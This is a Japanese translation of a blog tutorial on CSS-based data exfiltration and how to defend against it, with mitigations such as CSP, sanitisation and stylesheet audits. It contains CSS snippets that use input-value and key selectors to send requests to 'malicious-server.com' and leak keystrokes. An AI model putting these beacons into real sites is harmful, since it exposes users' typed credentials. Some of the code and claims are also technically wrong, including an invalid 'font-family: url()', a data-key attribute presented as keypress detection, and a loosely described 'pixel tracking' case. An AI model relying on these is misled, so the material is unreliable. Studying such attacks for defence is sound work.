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CSSでハッキングができるって本当?静かに忍び寄る新たな脅威と緊急対策

Defending Against CSS-Based Attacks: Best Practices for Web Security

記事は上記記事を意訳したものです。

※当ブログでの翻訳記事は元サイト様に許可を得て掲載しています。


現代のウェブセキュリティ環境において、CSSやJavaScriptなどのフロントエンド開発技術は、インタラクティブなユーザーエクスペリエンスを作成するための強力なツールです。しかし、これらの同じ技術が悪意のある行為者によって意図しない目的で悪用される可能性があります。比較的知られていないデータ搾取の方法の1つに、CSSを使用してキーストロークやユーザー入力などの機密情報を盗む方法があります。この形態の攻撃は、JavaScriptベースの攻撃よりも実行が困難ですが、JavaScriptが制限されているか無効化されている場合に特に危険です。このチュートリアルでは、攻撃者が高度なCSS技術を使用して機密データを搾取する方法、それに伴うリスク、そして開発者がこのような脆弱性からアプリケーションを保護する方法を探ります。

このガイドでは、CSSデータ搾取の基本から高度な技術まで、さまざまなスキルレベルの例を提供し、これらの攻撃がどのように構成されているかを示します。また、ウェブアプリケーションを保護するためのベストプラクティスについても見ていきます。

CSSデータ搾取の理解

CSS(カスケーディングスタイルシート)は伝統的にウェブページのスタイリングに使用されますが、他のフロントエンド技術と組み合わせることで、ユーザーの操作を読み取るのに使用できます。CSSにはJavaScriptのようにコードを実行したり直接データをキャプチャしたりする能力はありませんが、CSSセレクター、アニメーション、サーバーサイドのロギングを含む創造的な技術を使用して、パターンを観察したり、ユーザー入力を推測したり、特定のアクションを強制したりすることができます。

例えば、CSSはホバー効果、フォーカス状態、さらにはユーザーの操作に基づいて変化を引き起こす隠れた要素を通じて、ユーザーの行動を追跡するのに使用できます。攻撃者はこれらのプロパティを悪用して、ウェブフォームに入力されたユーザー名やパスワードなどの機密情報を間接的に搾取します。

攻撃者がCSSを悪用する方法

攻撃者は、クロスサイトスクリプティング(XSS)などの脆弱性を悪用したり、外部スタイルシートを侵害したりすることで、悪意のあるCSSをウェブサイトに注入することができます。CSSが配置されると、キーストローク、マウスの動き、その他の操作を追跡または推測することができます。CSSは直接データをログに記録することはできませんが、サーバーサイドのログや他の隠れたチャネルと組み合わせて、情報を攻撃者に送り返すことができます。

CSSデータ搾取の主要概念

  • CSSセレクター:攻撃者は:focusや:hoverなどの疑似クラスを使用して、ユーザーがフォーム要素と操作しているかどうかを検出できます。
  • CSSのcontent属性:悪意のあるCSSは、特定の条件が満たされたとき(例:特定のキーが押されたとき)にコンテンツを挿入したり、要素のコンテンツを更新したりできます。
  • リモートフォントの読み込み:ユーザー入力に応じて異なるフォントファイルをリクエストすることで、攻撃者は密かにデータを自分のサーバーに送り返すことができます。

CSSベースのデータ搾取の実例

CSSベースの攻撃はJavaScriptベースの攻撃ほど広く知られていませんが、CSSが武器化された文書化された事例があります。より有名な例の1つは「ピクセルトラッキング」として知られるセキュリティ脆弱性で、CSSを使用してマウスの動きを追跡し、特定のユーザーアクションによってトリガーされる視覚的な変化を通じて入力された文字を検出しました。

他の事例では、研究者がCSSとフォントリクエストの組み合わせを使用して、各キーストロークまたはフォームの操作に対して一意のリクエストを作成することで、ユーザーデータを漏洩させることが可能であることを実証しています。

ケーススタディ:ピクセルトラッキング

ピクセルトラッキングは、攻撃者が慎重に作成されたCSSルールを使用して個々のフォームフィールドの状態を監視するCSSベースの攻撃です。ユーザーがどのフィールドと操作しているか、そしていつ操作しているかを追跡することで、攻撃者は入力データに直接アクセスすることなく、何が入力されているかについてのデータを収集できます。

/* ホバー状態とコンテンツ挿入を使用したCSSトラッキング */
input[type="text"]:hover::after {
    content: "入力フィールドにホバーしています!";
}

上記の例では、ユーザーがテキスト入力フィールドにホバーしたときに視覚的な変化が発生します。この同じ原理を拡張して、キーストロークの検出やユーザー入力に基づく特定のフォームフィールドの選択など、より具体的な行動を推測することができます。

基本概念:CSSがどのように悪用されるか

CSSがどのように悪用されるかを理解するために、基本的な操作追跡技術から始めましょう。CSSは本質的にデータにアクセスする機能を持っていませんが、ユーザーアクティビティの手がかりを与える方法でユーザー入力に反応することができます。これは特に、JavaScriptが制限されている環境で攻撃者にとって有用です。

1. CSSセレクターを使用して入力フォーカスを追跡する

:focusや:activeなどのCSS疑似クラスを使用して、ユーザーが入力フィールドにフォーカスしたときを追跡できます。これをCSSアニメーションやトランジションと組み合わせることで、悪意のある行為者は操作を検出できます。

/* ユーザーが特定のフィールドにフォーカスしたときを検出 */
input[type="password"]:focus {
    background-color: #ff0000;
}

この例では、パスワードフィールドがフォーカスを得たときに背景色が変わり、ユーザーが機密情報を入力していることを攻撃者に潜在的に通知します。

2. フォーム送信の監視

CSSだけではフォームの送信を追跡することはできませんが、ユーザーがフォームフィールドと操作しているときを検出することはできます。攻撃者はCSSとサーバーログを組み合わせて、ページのレイアウトやスタイリングの変更に基づいてフォームが送信されたときを判断する可能性があります。

データ搾取のための高度なCSS技術

上記の基本的な技術が単純なユーザー操作に依存している一方で、より高度なCSS攻撃は、個々のキーストロークやフォームの内容などの特定のデータを推測するために複雑な方法を使用します。これらの技術には、フォントや背景画像などの外部リソースを使用して、価値ある情報を攻撃者のサーバーに通知することがよくあります。

1. リモートフォントの読み込み

データ搾取の特に巧妙な方法の1つは、ユーザー入力に基づいてフォントを動的に読み込むことです。異なるフォントを異なるユーザーアクション(例:特定のキーを押す)と関連付けることで、攻撃者は特定のキーストロークを自分のサーバーに通知できます。

/* 入力フィールドの値に基づいて異なるフォントを読み込む */
input[type="text"][value^="a"] {
    font-family: url("http://malicious-server.com/font-a.woff");
}

input[type="text"][value^="b"] {
    font-family: url("http://malicious-server.com/font-b.woff");
}

この場合、ユーザーが特定の文字(例:「a」または「b」)の入力を開始するたびに、ブラウザは異なるフォントファイルをリクエストし、攻撃者のサーバーによってログに記録される可能性があります。

2. 疑似要素を使用したキーストロークの検出

::afterや::beforeなどの疑似要素を使用することで、攻撃者はユーザーのアクションに基づいてコンテンツを動的に挿入できます。サーバーサイドの監視と組み合わせると、この技術を使用して特定の行動を追跡できます。

/* 特定のキーが押されたときにコンテンツを挿入 */
input[data-key="13"]::after {
    content: "Enterキーが押されました!";
    background: url("http://malicious-server.com/enter_key_log.png");
}

この例では、特定のキー(例:Enterキー)が押されるたびに、外部画像やリクエストがトリガーされ、攻撃者がそのアクションを記録できるようになります。

CSSベースの攻撃の緩和

CSSベースのデータ搾取攻撃から保護するために、開発者はウェブアプリケーションを保護し、厳格なコンテンツセキュリティポリシーを強制することに注意を払う必要があります。以下は、これらのリスクを軽減するための重要なステップです:

1. コンテンツセキュリティポリシー(CSP)の実装

強力なコンテンツセキュリティポリシー(CSP)は、悪意のあるCSSがウェブページに読み込まれるのを防ぐのに役立ちます。スタイルシートを読み込むことができるソースを制限することで、潜在的な攻撃者が有害なコードを挿入するのをブロックできます。

2. 入力の検証とサニタイズ

常にユーザー入力を検証およびサニタイズし、攻撃者が悪意のあるコードを注入するのを防ぎます。これはCSSであれJavaScriptであれ同様です。入力フィールドが受け入れることができるものを制限することで、悪意のある行為者が利用できる攻撃ベクトルを制限できます。

3. 強力なアクセス制御ポリシーの使用

信頼できるユーザーのみがCSSファイルをアップロードまたは変更できるようにします。多くの場合、攻撃者はXSS脆弱性やアクセス制御の他の弱点を利用して悪意のあるスタイルシートを挿入します。厳格なアクセス制御を実装して、CSS注入のリスクを軽減します。

4. スタイルシートの定期的なレビューと監査

ウェブアプリケーションのすべてのCSSファイルの定期的なレビューと監査を実施します。未承認または不審なスタイルが追加されていないことを確認します。使用されているCSSファイルと、誰によって使用されているかを監視および制限することで、悪意のあるスタイルが導入される可能性を減らします。

ウェブセキュリティのベストプラクティス

CSSベースのデータ搾取攻撃からウェブアプリケーションを保護するために、以下のベストプラクティスを採用してください:

  • コンテンツセキュリティポリシー(CSP)の実装:CSSファイルの信頼できるソースを指定することで、未承認のスタイルの読み込みを防ぎます。
  • ユーザー入力の制限:許可するユーザー入力の種類を最小限に抑え、ユーザーがHTMLやCSSを注入できないようにします。
  • HTTPSの使用:ウェブサイトをHTTPSで保護し、攻撃者がウェブトラフィックを変更して悪意のあるCSSを注入するのを防ぎます。
  • 外部依存関係のレビュー:サードパーティのライブラリや外部スタイルシートを監査し、それらが侵害されていないことを確認します。
  • セキュリティヘッダーの有効化:X-Content-Type-Options、X-Frame-Options、Strict-Transport-Securityなどのセキュリティヘッダーを使用して、注入攻撃に対する保護層を追加します。

モニタリングと対応

予防策を講じていても、アプリケーションの異常な活動を継続的に監視することが不可欠です。侵入検知システム(IDS)やウェブアプリケーションファイアウォール(WAF)などのツールを活用して、攻撃を示す可能性のある異常な動作を検出します。ログが確認され、異常が速やかに調査されるようにします。

結論

CSSベースの攻撃は、機密性の高いユーザーデータを搾取するための知名度は低いものの強力なベクトルです。CSSにはJavaScriptと同じ方法でユーザー入力と直接やり取りする能力はありませんが、それでも創造的に使用して操作をキャプチャし、キーストロークを推測し、さらには攻撃者が制御するサーバーと通信することができます。開発者として、悪意のあるCSSの潜在的なリスクを理解し、厳格なセキュリティプラクティスを実装して、このような脅威からアプリケーションを保護することが重要です。

コンテンツセキュリティポリシーの実装、ユーザー入力の検証、スタイルシートの定期的な監査などのベストプラクティスを採用することで、CSSベースの攻撃のリスクを軽減し、ウェブアプリケーションの安全性を確保できます。攻撃者がますます洗練されていくにつれて、新たな脅威について常に情報を得て、セキュリティ戦略を継続的に適応させることが不可欠です。

追加の考慮事項

  1. 開発者教育:チーム全体がCSSベースの攻撃の潜在的なリスクを認識し、それらを防ぐためのベストプラクティスを理解していることを確認します。

  2. セキュリティテスト:定期的にペネトレーションテストを実施し、CSSベースの脆弱性を含む潜在的な問題を特定します。

  3. インシデント対応計画:CSSベースの攻撃が検出された場合の明確な対応手順を含む、包括的なインシデント対応計画を策定します。

  4. サードパーティのリソース管理:外部のCSSファイルやライブラリの使用を慎重に管理し、それらの整合性を定期的に確認します。

  5. ユーザー啓発:ウェブサイトのユーザーに、個人情報の保護方法や疑わしい動作の報告方法について教育します。

  6. 継続的な学習:セキュリティコミュニティと連携し、CSSセキュリティに関する新しい脅威や防御技術について最新の情報を入手します。

ウェブアプリケーションのセキュリティは常に進化しており、CSSベースの攻撃はその一例に過ぎません。開発者とセキュリティ専門家は、これらの潜在的な脅威に対して警戒し、積極的な防御姿勢を維持する必要があります。適切な予防措置を講じ、継続的な監視と改善を行うことで、ウェブアプリケーションとそのユーザーを、CSSを利用した巧妙な攻撃からより効果的に保護することができます。

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